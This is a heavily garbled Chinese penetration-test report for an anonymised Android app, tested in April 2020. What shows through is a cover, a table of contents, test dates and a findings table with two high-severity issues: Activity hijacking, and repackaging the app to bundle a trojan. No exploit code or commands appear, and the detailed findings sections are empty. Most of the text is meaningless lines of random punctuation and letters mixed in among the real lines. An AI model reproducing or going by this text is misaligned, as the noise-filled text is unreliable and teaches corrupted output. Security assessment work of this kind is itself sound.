" S/ t: h% v' w
4 K4 H7 v0 ^; V1 V9 i5 p; @
8 \ [3 E( e. {8 X
. q6 z2 Q9 Q* [! R% }
1 C1 C7 H: {- V0 |8 s+ S" `% _5 {
" Z+ L2 S0 l5 Y9 o: X
8 G0 k J' u- P2 C2 ~8 e* j
3 J$ N) L4 k3 \" z4 o# K+ B) B2 K
2 }. n2 i& t: q! r* M# y/ L
# Y1 N6 ~" w* C8 Y& i
7 J- g! f1 b4 h9 y: f
/ r. X' O* Y& { e
文档编号: : y* w) i+ _+ V- a2 w: M7 o, i$ h
8 T8 Z' W Q. D9 j
+ x+ T, T2 k1 n8 p6 }1 z
3 |# C2 [5 [6 }( \5 K 1 @" N( K, D3 i0 s: R- z; ]) F
& U' u9 N, R" F" }, ~ / r- S9 E. I' \+ ~# \
9 Z6 S5 E& v! b
3 [$ U/ g l% i" d/ @. L
9 Y& j0 P; ~: M+ v1 M4 k s% K+ L1 n7 W! p$ C
! f; V6 _7 M J" b- v
) z7 C9 F# B+ X, X+ b8 w. K
, J: b9 ?5 I2 d* S2 s* F
0 Z' T! z* Y3 z! o) J; k$ d5 `" P" u
- m ^$ C' s3 A* J7 q2 P9 g: e$ ?- [7 {9 G+ z+ v0 m
0 J; x3 V2 G$ V8 X1 n' g! F4 N3 h d+ \7 h" k3 S2 V3 c
: Z) T* H" l$ T5 l4 N+ `' E
1 X. J/ l' L. H S0 w* b1 ]
9 m! }. f" @9 e- J- t- k
5 _2 o/ m7 p9 u: G/ L
8 ^4 `# g1 N) Y( M$ O
! j6 \! i ?7 T6 ?
6 |, v, J1 o9 S% E
. N; w+ U# S+ Q5 z! D! Z
, C8 g6 ]4 J* v7 T( ]7 y+ s5 p
5 y+ R! H4 b7 B( p( U; I
- g( X, m _4 S. o( R# U$ c
) g- ^( d, y0 S G. q2 S6 o
4 B( R' K: [' h0 d: ` d3 W
( |. L- X$ m2 I. s2 \2 p1 T
/ E4 k9 g( W( U4 Y2 H
6 b; {$ x2 P" c, n; B3 [6 Z" Y 某某某APP渗透测试 2 @/ S* l7 n) Q) h5 b4 W, v
5 o1 T6 s& t* F2 H3 p
8 j% k$ T0 u# G
: D) w a5 O) u( K1 E* M, W$ [
0 P" ~0 O0 _+ w7 _5 a* }6 X
" F6 u+ i& n; ~! Y: q, R" x& a- w
, l5 L0 x) w8 ^$ h6 A
: ~. x K+ E; P2 c* J
H/ K/ x0 a1 G, E0 }
: v+ | |/ h+ g$ Q
+ Y8 h, [5 q. U S# T0 h; o* ~ c; i9 v7 d. F
" C |6 k% P8 o6 {) p" d- G / s' k. w K8 c4 @4 t' a& d& x2 m
& F5 P s* g: T" `
6 @" p0 l1 i' p& z: x/ h/ B) D" ?" }" k; ?/ ?+ H
2 |! @5 _& _' d# t; f7 S' j% E8 s1 v; n5 H, j* p
8 w% a5 w: p9 S ?/ m2 v
7 k H/ S: B7 N: y. D5 x3 d' m
! @' c4 P/ n% P* j4 v# X- a
7 \- ^6 o1 S6 X
# C; ?6 g. Q& }* b; _9 z, a$ v1 L3 a3 z: b
! t( }: g' I% a; e; M, P1 y' Z" p6 Z6 T0 f
0 H/ O( h: U3 Q: z g$ G2 \9 o; y) l+ `* R: w/ T" @
# u5 |2 c6 \: F& E! H4 T: E ~$ E6 g' Y/ U3 i' O9 i; E
技 术 报 告 8 n6 m/ V' U6 i; s8 z
% T& D* Q# W( T' p. a- x; C! s: ^: o
" t( c. l/ m" G& G+ h: D$ ]2 Z! x1 S9 z
( P0 i0 `0 G5 o( R7 Z7 q
V, u1 d: L6 N6 j5 U# L
6 q+ G( {% X' G" k6 b
- n; L+ `7 w( h) i4 O( E$ d
/ A1 ~, F$ L, S
# s( K$ Q" p/ U' u & T# L& ^ _+ k* B! b0 R$ P* `
2 N) m7 g2 N: z8 }1 X; i
, P9 g' C# a' H
1 S2 P7 P6 d- c3 E* c! m4 {0 m$ ^
% T+ z- z) Q- k4 ^
% t a |2 r! y% U% }( V: @' o
! F. T: ?# s$ D' J7 [* o# ?- h+ a! s5 I& N
2 r* I* f+ N3 [5 Q# ^! v; K" b! Y. n( m3 S9 [
; I+ o* N2 e( l3 u
0 I ?4 d: S( S3 u3 b g2 I * U) ~4 Z: e$ T+ A! V `( i8 d8 L
7 j7 m5 n4 e$ K) p
0 F: d+ ~6 J5 Z% B2 m# [' ~; O
2 g3 |5 A( k9 Y4 u4 Y: `
+ [3 [- E8 h- i) ?% w
6 A9 Q* Q# t/ C4 O
, }' V+ A) t5 `6 K
" N+ ]: H, t9 S0 Z S% b ! `4 M2 O$ _/ F
# e4 A" @6 u9 y7 s. p5 K1 C
) o7 t. T9 m0 B7 E3 H) q! H% ^8 K$ J# B9 O, G% X: P. D! u
' y6 q/ [2 h' `$ F5 j
, y1 d5 L' d! ~) I R; [ 2 {7 Y9 A/ b- v1 b$ I2 i8 |" R4 W3 J
$ v/ e4 v3 t) o! c, }; r
+ l3 z+ X1 P" p' S& K+ A3 t: L
1 f- G. T0 v$ R! \, c6 S2 T) p' C. L+ ] 9 b) B: O, @% S0 }, [9 G% a
" P% ^" [( Z" \- P1 `' A% }) J
( c5 z+ l6 b- u7 I j. C p9 k4 F2 g8 y5 G7 d8 u; @3 N0 t$ p8 D, d( ~
1 {+ g/ C8 m' V
* {$ C2 K( w# c8 Q 7 k- N8 o; `. Z% z, e- h* B2 P, l
4 e: o, a# e. O. H' I K$ j
, a) C( c6 \6 ^: z
' B6 z+ r4 x: D! w' f; r$ H
6 j% U* { P) E' d8 C! }: _* x+ ^! R- `* O
0 u$ A* [/ h) t$ |5 ^
+ O: ^: Q4 |2 ~3 A- k0 l & r% E' G. {+ n, S- |
- }6 L7 v+ D5 v& {$ ]! X) C7 X
- g- P! k) s N- W. s6 z
3 G z$ I# |! ?
% j$ X1 Q0 L/ {* F$ g3 b
3 z+ x3 L+ |& P% K0 O! [" F/ Y
0 ]( @, c- r/ t6 D" E) v( A' a( J" ^' M
& y& X: v( `# z4 [- k
) b, a- k% R0 j7 f6 m
1 X" M' J( Z/ P( w
0 `$ N% g. ]6 [9 C) Z& ^
j/ H \- E2 c2 Z9 {9 O% D' D0 ?
; Y* Y8 g* R ?0 X5 S" o; d) N1 W
Q( W7 }. B t% d$ m2 ^0 u# V9 P
$ O, l! n! O) D: ^( p& Q; f
3 a7 @" \& a/ i( o' U$ b) f
( H- Y+ _" Y; f: T" p 8 q6 P. @8 \5 \6 c8 C0 Y9 x2 s6 D5 }% ~
2 A) y8 G1 v9 Z# k
% O# G5 | [3 K. b/ R, z$ }/ K' l- V3 U5 \
& ]! l8 @: P# t/ y
. k6 \/ k- `% }5 e: K
& }& z5 E3 M, X+ ]
" a! r1 w- q# B2 k9 z' V
4 ]' Q3 w9 v2 m9 ]+ K, y/ Q% B% U" k) N" X: H$ \2 d% q
# r8 \* S9 s P% x4 \* f! [* Y( _. @3 c" V/ e x; A
- g1 Z9 k& Y" V: Q* w% o
( G) B2 z! U/ J) w- t u( t5 K
4 f& P8 v* P6 e/ g2 W
$ O% {* g" B, g* A5 |' s( ~ 6 E! \, m* p* q& N
0 r9 r R+ h" _! }1 _3 s
1 K, q/ S# A0 L. S8 ]. s9 { ~5 ]0 {3 X2 D
9 _2 s# p/ O, T$ ?" J9 b1 {
0 x2 n6 A3 A+ g
7 ^7 Z3 M- x* ~1 E' t6 H/ E
) t: O- g2 z2 l( c* t* L/ m8 H' ? : M, Z v2 F7 s; k
( f& {1 A+ K5 i" E" I3 b
1 G1 S3 g* v9 @/ [' z8 p
: W" _/ H: J- o( V+ Q/ E5 _ , h) Q& U: [: `! f9 ^/ e, d/ o
" p: r; k' F" n4 p& D& B5 j5 D5 L
6 r. n" F8 D) A. B2 d5 ? N3 J' L
/ ]6 A: B1 |, E& I" A1 l- F
9 }( H4 W1 p; q+ F# {3 o3 C/ u; U8 y' ^3 s
; P- j9 S ~* y0 _5 B7 P
$ T H. @, z! h9 _/ i
4 {8 q0 G; O+ u4 A" J% Y7 b% p
1 ~/ m7 A; Z$ j5 N1 S+ l
8 m+ [3 A) o4 M8 `8 d6 o0 l; @
0 ?! n$ [5 H- n5 G* A; r
: O" }8 b9 s$ |# f) |! [3 C) [4 \" T: B" K X0 S; G6 r/ i
二〇二〇年
# |+ s8 d! k; E7 }1 r$ `2 k
5 Q/ B! f& s. D8 C% N
$ C( g- T9 Y- y m5 P
3 |$ H y U! a8 U$ j8 _. ~
1 L7 q) Q8 x( f+ W% F& {- S' x* h. H+ L
& F* j# s5 F' _% q) _' B* Y
) j4 k9 G! V9 J* p4 X, S$ Z
( Z+ h" G8 c' q6 U# S- _8 c& N- r, {4 y# k) j
" f5 P; M t+ B% G
; Y3 Q* `1 N. h$ N' ?
$ O, K# Z+ e( X, m
0 C0 }& X) X4 X" i
2 S# B/ u3 c$ x9 n( z
q$ [1 S4 q8 [7 i4 Q1 @ 5 o3 t) A- T% U: W( Z* s R
, y3 K, H# i9 T/ G* I
/ E* I8 d/ J- \$ p# T1 T. e
- n# _5 R; O! X' u1 a 6 T) I; u9 Y, \! x
+ e- N) y0 T2 a3 i; ?1 b 目 录 ! ~+ Q, w( w1 {$ {
6 I1 Q6 n) v; Q* h3 s# z# x4 G
% ?+ K2 N3 l) `" u9 ?" X. q
5 s; p$ B9 c# U: @1 ~8 O9 T R
9 ]7 k! n6 E) W9 w; ^; D2 C$ C
& t+ H9 c( | z" v
1 U$ n" v8 s6 n9 D6 b4 r5 V4 v6 M3 W6 _& G: @5 e- O" v
8 z; `6 @6 T* |; Q
# Q, a# m/ J( k% t3 ~2 t V
/ O! S Z7 ]4 d7 s9 `' s
% B$ N: Q/ T( K9 G& j
$ P" [8 ^6 K% ]. I
" ]8 c; C3 r; y0 y9 \% ~8 X 1 概述... 3 ! R* s& s' \# d4 }- n2 ^ L" ^
K v8 D8 g+ v# G2 D6 E! \
" @% @) q' Z, t$ i: r5 `
8 w: F8 c1 ~ Y0 r9 j
; Z; T+ E( {) T# g" M/ @0 R0 z
; p% R5 ?% c9 C7 V 1.2测试时间... 3
8 L+ ~2 }" P0 p- d, k. v7 y" t1 ?% e) M: V$ K
- y: O( B# J4 J/ D2 t+ L
! s: E( W, ~* P8 p w5 r
$ Q# N! B E: r* V% p
5 `: j% T5 `3 k2 E 1.3测试对象... 3 ) Y/ E4 o, d1 T: |- O# y( G: {
& Q6 ]% c N; t2 ~( T5 g7 E; r+ n
2 p4 m0 }+ C D6 T7 w# u* i/ h7 H" y
/ N V$ v: a/ O- f" @, T4 D6 z1 ~
+ P1 I( T7 B- X
9 b5 Z3 w- q/ a1 u" v, V 1.4测试结果... 3 5 ^. j; n% Z7 F) |1 f, t; G* ?& G
" R. s/ \, Y' s" j% [% }7 U8 t W
1 B% w6 N; q7 z6 {7 a9 n2 y4 x+ Z- i& k: P# e
8 Q) c6 _$ R: I5 J/ m& P
7 b; y4 `4 Y7 H; i' N6 ` 2 检测结果... 4
w' ]7 w0 {- r; M1 R1 }* y
6 ^- g* |! X2 n6 e$ K6 D
3 Y7 k$ A+ s1 \9 K2 R6 b; K* O
. F. a" G3 A2 l# ? , ^1 I0 {# F* Z( k- a- c
5 N0 ~! c5 C" ^4 R5 |. y2 U. ]/ n0 q 2.1 某某某... 4 * p6 ^! z' m( u7 n3 _6 k9 w) L
$ G' D9 ^, E7 R9 O
" {, p. u9 I/ m/ i4 N1 D" }7 i
( w3 d% ^8 e( |" D3 Y8 M% ^& [
& @8 j# M+ a/ a( O9 D4 x' V$ Z# ^3 Q6 m/ S
2.1.1检测目标... 4
3 g5 v# P+ H% f% I5 d# i
# Q; X, a3 r+ ?
7 a% M1 o; ]1 ~
4 K J$ ]4 J. a2 j% T d
# f8 Q$ ~) x8 |0 V' x2 p$ G' e* z" a5 A, K/ ~$ i/ a
2.1.2检测结果... 4
R/ Y! x0 [' ~1 X
1 Q' m. B' @9 s* o' h) N' ?
! S6 M( e2 P2 F, `6 I
, E9 } S! |/ _. h" }
0 Z% d8 l4 k, w1 ]3 s
3 j# @% ~3 J# ^8 N- {, k& f 2.1.2.1. 4 7 J% u# U' Q( o! L4 r# A
. u0 _5 ^, X d; P. _. g$ ]
, Y. H6 i8 |- u
. t4 O% u' k5 o, ?
# Z7 w4 t7 W% f0 ~
3 ~* k. ]: o1 M* \( V/ g* S3 Z 2.1.2.2. 6 / r6 f: q+ F1 }' Q7 `3 u3 P) o
9 T6 l2 P% X! d t+ Z0 [8 Y
* G; l# z& j9 q) X6 E& p' Z2 U' I2 }7 H0 j5 ]
' j. g' A& N9 L9 P) Q
5 n) w ^2 Z0 \6 l% b + n% }% o8 `9 P; |% n2 T
& `' B6 W1 N! _0 ?
6 |5 |; W3 `- O4 X# m
: v$ m1 t0 s* J( b( P4 Y: ] p& i2 w" {
2 s. T% f& b0 F7 ?, Y0 h
* n8 \3 p- ~5 t$ o
! Y5 @5 t8 w; {
8 w/ T' m: J6 H. n8 C5 M' P8 A( H( F$ M
% T8 X/ H+ V q1 P/ J0 y8 E
9 [$ s- E2 ]. F 7 Y& B7 C; u) t W
) y! d2 U2 ~, |" Y/ W8 W 1 概述 @2 z1 s: n8 R6 B
3 w |2 w7 z# B/ `/ g
/ T( d+ |0 z3 [8 Q- C3 @5 ^1 W: g# i* Z2 M: e* j @ @. D5 Z' c' V
' Q/ L1 ?$ Q6 {' b( w* H
" W5 _: _2 @5 b6 w0 u
1.2测试时间
/ O9 `: K2 p7 j8 c. K8 Z$ n* E. g3 }4 N7 U7 g/ h) l
% L0 g1 N! N$ N1 X
7 d {/ X& p6 w. x7 ]! b
+ p9 D' [4 p: {8 N5 Y* F$ ^7 q% B' `" {
# T3 @2 }* r; S' i4 T) ?* s* {; b. I4 s2 C* F4 S
( W. @( ?" p. a+ l/ A, _+ j4 G+ r: S% `" x+ t" T* @
| 0 n; c$ A R- U" Y5 r: [- }
c# q9 R7 Q1 n) G. \
; J8 j6 S9 l: {+ ?* z/ o# S
) t7 F4 X7 |, s
渗透测试时间
6 Q) A! x- t% ?
2 U/ o& _- }) ^ , v4 |% H* C$ G
5 ]% B6 ^0 }0 t& A |
g5 z" V5 Z1 f9 G8 i
( R* Y. C6 W" r5 M
9 j# A3 \* t& P6 N) M& ~ e
7 ]3 O5 D0 C, N A0 K5 C, E
" f* N; _' C0 D& b0 Y1 Z" C: o# _5 @+ s' v6 a i9 Y. Y
| 0 u1 `) t. b' P4 a* [9 b4 c, s
7 n4 ^ I9 `* }5 l8 s
: z" }# z3 J! }, _2 p8 Z% }, |& Y' |: X( J7 @3 G
起始时间
: J5 Q- a, l" X9 r' \' w0 ]& J6 O7 H4 z
" P$ n/ t i. q$ ]
' w. J% z' f0 a |
6 I# L4 O2 u9 X
4 i& |0 i2 E1 C ( L+ Y+ K3 W" A. n3 z" v4 h
8 y5 D# T8 B/ x9 o1 Z9 r$ X: J : f; r# J+ W8 p, ?' |! w
* j6 ~* o. ]* n2 P: {$ k6 F( C 2020年4月6日
" \5 ^$ G& v4 O
* R, r9 t* M- M
3 k( ^) @0 z2 K# Q- _) `
( N; C7 b! d/ l4 ]& a3 i: L | 1 t; z' n: g/ `# i
$ L; K: M3 u; `+ L
! J2 d5 A. Y5 p$ G, {
$ K# }' U& h3 A! E& g% P
, Y& ]3 H9 b4 U
; o, T/ O9 E2 s- ], h2 M7 y- y0 ]5 K |
5 X/ \ \* o$ \4 l: h: J3 w$ y, ^8 X* _# X# M P
, _3 e6 L K2 x7 }% N, N
8 ^0 u6 w, b5 [% d! e- Q; _1 `- B
结束时间
+ V, t H5 s+ x" s# ]. P
1 t3 q0 g* w7 {( l3 \( g 3 A1 m6 |/ W0 |. P4 F& I% o7 _
4 Q6 K: [% U/ ~* t" S
| - N' t5 C8 ?" h' `% ?0 X. @
5 Z$ T8 S% s5 i# Z ' G/ d+ j7 A4 M `
/ G1 e+ e8 l% ?; o$ S" q) F, u
1 p4 Y d! i, L' ?( ]% z; g4 O0 f3 X$ U6 Y. U
2020年4月9日 ) r: k2 R) L/ c% K7 V0 p$ F
8 |/ Q( B$ e% b* S , r q) j3 O- Z- K
9 ^% Y) F" {& S! z | $ H: _" F r D0 B F: k7 R9 A z0 E
$ F P" L0 E6 n" U0 t8 v7 B
( w8 C' r8 C4 I2 ~$ |
, k& v7 R$ H# I5 b) V$ _2 p
, s- ?+ _ ^5 Q8 x/ k2 o! J& e: z, B+ s; N) X( O( n+ C, N
0 c. h( }7 K# S( ]1 n# Q: @* [4 D5 V) n8 E. I
9 p# D; `% e5 Q$ p4 z
/ Z, g$ X; q% D5 P3 C+ y5 U; S6 a6 D
1.3测试对象
$ t0 m0 P' m# d3 A* O1 u, G1 z: f' W8 f1 e! V
- ~9 t* c$ u$ `8 d7 V# ~$ A
3 C' F, y3 T% Y
3 e& O& y, _* u+ ]' U5 F1 h% x+ x$ x1 v2 r
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
$ O% e Z+ q* J- \# \ |; N |) L# T9 W+ ~
; @# N k3 }# R6 ~. E1 H
: w/ }" B% q" z/ [, t 5 T4 Y# k/ C( q9 j
$ B3 m$ @; G9 t# x3 r9 c+ @ 表1-1 检测对象 ( P# p' E1 }" k5 i( y/ n
* E* _0 X, c1 L5 V& t( R
! `# z" V# q. W8 q. E$ m- d
2 s" Q P5 B4 M. [& F: O- Z
. r3 @/ w; N6 p) y; {, M7 d- E4 y+ i% c' K" `
( _6 i9 B7 \6 O' ^4 s
: c" ]5 h9 d P) o+ Q) g
# q. D. F/ |6 `8 R! ]( ?# G7 M( {
|
% t" f Y) J9 {% ~& y! ?# Y4 ~- |! G/ K
' w+ L% b$ i6 x( ~' y; ? U9 \4 s3 A5 D' t u. G" f' u2 C$ Q
序号
. ~8 t( q' g1 f1 g) c' K/ u; n; N/ H8 o
1 Z- \& _# |" w+ l3 m5 B$ I; }: B8 M6 M; ]" x4 \
| ! n2 h4 G/ F( c# W
) {+ I/ H x! I, y9 ]& n9 h
' s! d `+ H' P# G# F
3 A) Q- ^% v/ d4 v1 e9 t# I
( b& ^, F- |) g% B3 u
5 G3 \. l: y) Z1 i/ o6 r7 h 测试对象
& ^% i+ B3 Q/ b J8 \# E
5 m8 [3 E0 L5 _" U
! j! g& q' |: }0 K6 y/ w. f8 v, M+ v7 U* [8 _! \
|
i+ w7 i( L; q% o* s2 P5 I
/ ?! |' c; D7 d) v" \6 G ; m+ z: H! v1 @! d: v" J/ d
9 o. f+ e$ c) D
1 g8 L6 l, y) q0 | W
; I* y, B/ e/ ]' D4 }8 y* q/ U
测试地址 7 l1 m8 h, N1 f" Y/ e
$ w5 C/ D) \: Q1 k 0 m: e3 f- c/ ?) A: o
5 n. n$ v7 u3 [4 w/ U% p8 ~ |
* E d: w$ w9 g, V. w$ i4 K. ^! t; E. _' U- ~
7 y1 l9 W3 w* t; {4 d9 D9 U" ~4 K8 p: W1 h7 }0 K1 _
3 v( k. z8 @: I, l
1 N! E+ C3 O4 y( C 安全漏洞 0 N$ @! \: P# C; n& \( v6 W, h
, D O, o; @1 _$ N9 \
+ {# A: M& t$ A+ @) b! y' N0 ~: c9 O k9 j* r$ x
| 8 J& L: C8 W! y
) F+ e% o9 z3 V8 O! X9 [( M3 r
1 H' j ?# [4 `) F; i g
( k, c+ O1 W2 T3 w8 i $ }8 h7 d+ a% ?& j
; `$ ?9 |4 y4 p7 g; [, H/ x( m
|
f9 w4 I# P9 J! @
% L6 e- b0 ~* X& H3 t' ~
1 C" S+ d6 g( f% I- x9 r. h/ q- s0 s5 X6 G! B
1
, Q8 T! M% p1 ~. m1 f9 H9 O' N0 o# k9 p. j5 \% l/ w6 {
0 i2 y r4 _4 R
+ \$ g! K2 E. _& V$ e |
. w* K. b* z# H/ Z
1 {/ x9 ~# l6 u* Q2 _# b, i
: \# l8 p* _" j2 h
" Q T! V! Q/ [; R) O+ b
4 |5 C% o, `4 |3 p' \( x
7 H6 N* I5 X4 W4 Q8 z 某某某安卓APP ( ~! o4 K+ F6 x+ M0 N- \3 |" J( Q
1 ^/ D2 D$ d( N! n. T( h
: B8 @8 s' o( z* M8 f7 t; _
4 i3 l) l: i6 [$ j6 D9 V# c$ X/ P | 1 X+ f: }; ]' p+ Y
, j T: ~ t$ {- H5 r0 Z0 L
$ C) z* F/ u* X& U3 ?( i+ h% ^% F: K% K& l* M4 {
7 l w+ \% U; @( M$ h- |) _% x
& D8 Y8 ~* K5 p8 W2 l5 |( t9 M5 K8 k7 f
r) o4 ]' ]& ~. v6 U/ @9 ^
# e2 H% V. G4 q. R6 ?) D e- ]0 ^" K4 v& P, O5 J8 n6 q
5 m' n8 I/ p6 o3 j | / K$ c+ Y$ f9 B/ _# C9 @, l7 T6 b( Q
9 o7 }2 ]: ~. R- e# ^, h6 ?" i
8 B, J" E( u i8 _" _1 D- J( G8 O
5 l H+ f0 c7 s. Q& Q3 g% Y
~& o1 P7 \- V4 d1 _- z5 B9 D" F" p0 N6 Z* x8 i
2 / G, h( B5 m) ~! L& j
& s( P0 o x e* Q! w
5 f! u5 Y6 x$ l( d5 C: S4 \) b( s/ x/ Y- l+ B) m
|
: V: ?7 D+ b- K. v/ v/ R, O& R
) p$ V' ]' N, z0 o. l5 m
# `* Z* w, i# L" v
! w/ f; X I3 r- a: Y; h1 q
/ V( x* u" {+ D9 K( }7 E) m
% J; `. U% p2 Q' R
1 j2 }$ V: Z. i- H. k# V6 ?* {& |% \6 `8 X1 W
( [ o. f1 _" M; \) W/ `1 [
' J2 O1 H4 u/ P; e 1.4测试结果
B7 t, k. w q- K1 s# | _" c; v5 |
9 Z8 |2 h* y5 z' A v- A
1 Q6 i# r4 x9 t8 _
% Z# M/ J* A- n& t0 C
" A, t( a0 R; g* J6 t/ a H0 }& P) F7 R) y
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: * p- Z: x" P& s! E
' s I4 k1 I6 j2 i
3 r# g+ Z0 Q2 a' z" Y& M
' O( j2 a, R. M3 t( a
- U0 B4 |+ K* d& v1 _' s" `
- S8 `% F% M7 l! g / P; k8 }$ Z8 s: N8 k. @+ ~( l0 p6 _
7 a: N9 I# d! Q- J) ]" j9 a! F0 O
5 e5 Q, `6 K4 A/ |
- H a' B% S% J! l$ ]9 t
2 i' i+ I Q4 B( g$ q' y2 r# p! I
! X# Q4 k: _9 T) g5 T
' M3 a& {* T; O1 i! P6 Y% u2 k, A- ^+ h" y9 @: M3 j
' G2 V) I6 Z; q; t
9 U' V8 z5 \1 m& h% z, u7 a
" x5 F! V" ]6 Q& @
% s; S$ }, H- {6 a | # f' E/ U+ M# f" z& I# p) v
# }. f$ i4 t) I8 E2 f/ s9 d
# t9 a7 t4 x9 e; x3 q9 }5 S
' {$ }5 B, p1 F 序号
4 Z7 l$ l' b# U7 `3 U% n8 T% ?4 K0 J. x) U x/ H) v, w
/ v T4 M/ ?6 w/ o2 h' N4 X# }: c, `
| % \/ V9 C% K% L3 \4 e
# n+ |- c5 m; f& L
9 A8 j" K$ S# V; h/ j& f! a5 P- i( n
" `7 f0 Y- l/ R1 G: X9 ?* H# ` ( O% N1 _2 }, f. o4 R
+ j/ h; ?5 _* g! Z. e1 @% M q. Q, Z* w8 f 系统名称 4 C7 t1 {' e; K [* S8 t! n
; X- H8 C8 ^6 `% W
0 V$ \! u4 S! O7 i% S+ v! z- @5 J( j8 [9 z) A
| ; M" m3 Y& A9 k
. e3 q5 J. z6 b8 g : r! ~( C. i' k) Q" |7 _
+ O$ _ R/ \4 ~, {" t6 _
$ l) C7 B7 o4 }! \# m" |5 ^) T) I7 H% t/ F6 Z. H
漏洞名称
# w! L8 K4 L o0 a$ \" m j3 k) ~- g. _ L& J8 u2 m
7 S6 b0 G0 v' u" X5 }9 v+ r0 m
X5 b0 ?4 g' g( W) u. E0 g8 Y' m |
' ^( P. y! ]) G8 p5 i" Q% @
0 r, v7 g$ F; i3 A6 Y 2 \: W+ ?4 P# S& S2 D
$ k! A7 J$ C0 ^* v: @8 {( Y
- A. k! g/ k6 [& _9 T. r3 p- l4 O% B _+ H' o4 t# \
漏洞危害 8 O' N" x' Z- M- D. e9 o
( T, O5 e+ k. }* U1 |! C
: Q; e% D% Q, Y# L
2 x6 B3 z+ j( `& i4 d2 J |
1 u. g8 D" z/ R! c- {. @( C
8 D% A0 {: [! c
" S5 k" W8 W8 s' { p: ^3 {
+ x& a1 | [8 Z7 ^6 a* B) E* m7 N
' {+ a3 D: _( p }; q# W, Q7 x" _% ^3 M- E/ i
修复结果 7 v8 r; U6 M6 N3 L$ g
- E1 n! l6 |7 V/ Z8 z8 s3 q: a
3 I* U) E2 q3 m; T8 W4 `+ [9 w+ D1 O4 ^8 e0 n4 P% l
| : e+ A# h" S; O* @
$ W0 E7 c" e4 D% E4 w7 C
3 q8 A" U" @) D
8 o4 r6 ]9 u( X, ?
7 f. P R! w Z! J% S6 z
: ], q$ Z& z, ^3 \2 a. Z, g- T# W |
" @: ^! X+ j, G
) O6 W! o i6 Y
K6 _) C% W6 K. y' J( O, |# p( I# J( ~
1 & B+ a! r" x7 B
9 h# j* ]9 _/ V4 r( Z. ~ " \" Y+ u0 z4 s. l3 ]! Z: ^4 z
9 q) |: v- [/ d3 j0 i
|
% _% m7 S5 [' N, }7 Y, m7 u& W/ W. d7 z
t$ L2 u% ^0 N- Z
; Q' b& R; F5 P$ B 3 q: O5 {- w3 M0 F" L
2 x9 c. @% o7 R 某某某某某某APP
K2 ^) z- I3 |9 J: B) A9 P# n( d9 z }
; J* M9 o) U0 ~2 W
! W% p" S- E0 A4 F z r G% G
|
S, x1 Z# u9 z3 I2 |
$ i% H8 J- T# e1 g6 i. R" v # X9 z! i4 B: i, K! t3 R' j
$ l e( ]! a. f8 F
: k) l9 G- C2 V6 k2 U
7 g% c3 K2 f5 f+ d# a+ ^* v6 k1 I Activity 劫持
5 {, I2 u s5 c' O5 G9 C" `$ B3 D. E4 o( z
6 b2 Q# B; U" I$ ], e6 P! X$ f$ V0 [
( F. W- V; X' W* Y# O: Q
8 H1 L* S, i/ f9 `/ I. y
6 o* r+ y8 r/ j" }
3 B# t L7 ~2 J# G/ g3 I' \9 B# M; C C0 c4 i0 o$ F
! S6 M/ I7 c2 s1 y, O) C% ]
, H$ w* S3 \6 d$ ^# j* N/ Z | ) Y ^1 o S6 Y1 g: G7 I
, k) l+ O5 O$ D* e$ t" N
6 ]* j M, T+ S7 ?6 F! g( T& b+ c
8 c2 l, x" x, _' [% U; @
' u- `0 I$ X; o
高 & v( c' s0 v2 b9 U7 h
& m& S/ m6 T( \# t# B, j
4 ]2 R2 r& u9 Q% ]
2 N) c7 a, K7 W/ u | % O+ i6 p2 b- m
! j8 h% y8 N( }4 G* L7 k
+ V. s' O0 _- C" @& F, ~( l$ j
! M4 `* h! M$ {
W. E3 n6 A* e, Z
6 b; R B: S5 u& T( Y4 K/ w
) e# V% Z0 C" K }. m
u) [. h( d* V" | W) z3 g+ w- @. y, ?! i* S
3 F9 A0 O2 d0 i$ _: F4 { |
: ~" @8 R% O/ H- t0 H
$ r; @* p0 m' U3 N# o& y
& A3 p' X9 o2 O) X: w
0 \8 P4 c, M# v6 i
8 r% e( t9 V( n' o% X
3 U- {2 T: L! h | 1 h; }* c) w. Y8 I3 m) _& i4 S) h; y
; K1 p* g& `$ {) N, |
8 T3 \4 E1 j9 ?2 e+ E9 B' ^" `8 H
# W" y4 f: W. r( M3 D4 k 2
6 B4 C. r0 l: R5 l8 j- Y3 F/ Y
4 U- v5 `$ U+ ?' s
( l, E7 B, f# |9 X4 b" r6 e0 f$ X( Z* l4 H6 g0 {' [, h9 U% R; `
|
) O9 R E& V* u+ E0 s! _! a4 z2 q9 P) e& v8 l2 _
: X. x4 I+ ? \1 K9 g8 S
" |4 s" I6 R% f7 V. W
4 z% ? C0 V6 d7 M: @5 M7 c2 D7 T0 l4 H: _2 i
某某某某某某APP
( A- d4 l6 O( ^4 L$ Q( u h# j% Q3 m" A" q$ y/ p l
! F5 @ A: z! o8 ?+ @: t6 t0 p
1 |3 b h0 o/ n, D# `% h) @ |
& _; C4 _4 v8 U( q
0 ^- n1 Y6 A& u* q5 b# _ % r3 I+ e; q) i5 Y C/ t
, |1 B! K0 y Y) g: D% z" R 1 r# b0 y4 p( m( V& |$ S# O6 t* W
( a* |% i, e# ~+ ~2 G. S: s6 Z
反编译二次打包捆绑木马、篡改APP代码 $ n& B/ o4 d' a! k3 E; Y, c& _
4 i0 Y* r8 N: e
5 C% p1 }- R- \# K" E$ r2 h. P: C3 j" C' ~! ]; e
|
$ }8 x. |& H+ N+ n8 B5 x0 x
6 L) C" ~6 U: S6 x* }8 D2 G
+ v( C0 q9 S1 h0 w8 `8 i2 m, w# l* m; [4 d/ U* i( p
+ k. b2 a% c/ H, d
4 M+ n' w, P. E/ y, k* X* d. u/ ]
高 " l" f5 v O/ u8 F* H i0 l( r
, A D1 O- F& z: s5 D& N6 W
/ l1 i% T, m1 q# k1 K
; x5 D4 [! g+ b3 Y! g9 C | . q P) U' T$ }% n7 m& R
$ W+ `6 C9 [& I% ?, M 4 M8 B* S0 V+ a5 g7 B
+ U6 c" b: y$ o6 _/ N) G
- k7 ?! d3 a0 _8 N* U0 |! ~3 M+ `1 P
' j# {0 F0 w) |% G& M
6 _* H# P5 F- A! O. J' A
* M# @. C! `% x) p$ X" ^3 Y 3 R+ @3 x# b, G% X
|! l x1 U3 s
|
. E) h4 o% A8 d. P+ @( `6 ? p
2 b# {: B" l* g* A
! g; |$ ~7 K7 V: V- i' c0 Q( u
! s- y/ x3 w0 p3 ]% p
# R+ I' t, H$ |, {5 Y8 q6 o7 k8 E) F8 {. ~2 G, ] ]* D* ?6 a
+ G9 {" v5 j) Q v. `
